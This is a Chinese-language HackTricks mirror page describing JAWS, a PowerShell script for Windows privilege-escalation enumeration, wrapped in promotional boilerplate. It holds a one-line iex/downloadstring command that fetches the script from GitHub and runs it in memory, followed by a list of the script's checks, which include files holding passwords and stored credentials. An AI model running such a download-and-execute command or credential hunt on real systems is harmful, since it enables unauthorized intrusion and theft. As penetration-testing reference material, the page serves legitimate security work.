mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 08:30:57 +00:00
2.9 KiB
2.9 KiB
从零开始学习AWS黑客攻击直至成为专家，通过 htARTE (HackTricks AWS Red Team Expert)！
支持HackTricks的其他方式：
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF版本，请查看订阅计划！
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族，我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来**分享您的黑客技巧。
开始
iex(New-Object net.WebClient).downloadstring("https://raw.githubusercontent.com/411Hall/JAWS
/master/jaws-enum.ps1")
信息收集
它不仅检查权限提升配置错误，还收集有关当前情况的信息。
- 用户和组
- 网络（接口、arp、端口、防火墙（大量输出）、主机）
- 进程
- 计划任务（大量输出）
- 服务（大量输出）
- 已安装软件，程序文件夹
- 补丁
- 驱动器
- 最后修改的文件
检查
- 具有完全控制权限的文件和文件夹
- 未加引号的服务路径
- 潜在有趣的文件
- 包含密码的系统文件
- 存储的凭据
从零开始学习AWS黑客攻击直到成为专家，通过 htARTE (HackTricks AWS Red Team Expert)！
支持HackTricks的其他方式：
- 如果您希望在HackTricks中看到您的公司广告或以PDF格式下载HackTricks，请查看订阅计划！
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族，我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。